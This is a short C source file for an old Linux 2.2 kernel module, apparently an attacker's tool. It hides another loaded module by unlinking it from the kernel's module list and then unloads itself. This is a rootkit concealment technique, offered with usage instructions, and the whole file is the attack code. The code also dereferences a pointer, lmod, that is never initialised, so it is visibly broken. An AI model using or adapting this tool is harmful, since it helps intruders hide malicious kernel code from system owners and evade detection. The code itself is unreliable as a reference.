/*
 * wipemod.c
 * dalai(dalai@insomnia.org)
 *
 * usage: 'insmod wipemod name=target.o'
 *
 * Notice: The target module must already be loaded,
 * and wipemod will unload itself.  Also, because
 * it unloads itself, wipemod cannot restore a module
 * into the list after it has been taken out.
 *
 * This is built for Linux 2.2.
 *
 *      Ignore annoying secondary error messages.
*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>

char *name;
MODULE_PARM(name, "s");

int init_module()
{
  struct module *lmod;

  if (name == NULL) {
    printk("<1>usage: 'insmod wipemod name=target.o'\n");
    return 1;
  }

  while (1) {
    if (!lmod->next) {
      printk("<1>Failure.  Perhaps the target module isn't loaded?\n");
      return 1;
    }

    if (!strcmp((char *) lmod->next->name, name)) {
      if (lmod->next->ndeps != 0)       /* level ndeps */
        lmod->next->ndeps = 0;

      lmod->next = lmod->next->next;

      printk("<1>Success.\n");
      return 1;                 /* return 1 so it will unload. */
    }

    lmod = lmod->next;
  }
}

void cleanup_module()
{
  /* This will never be called. */
}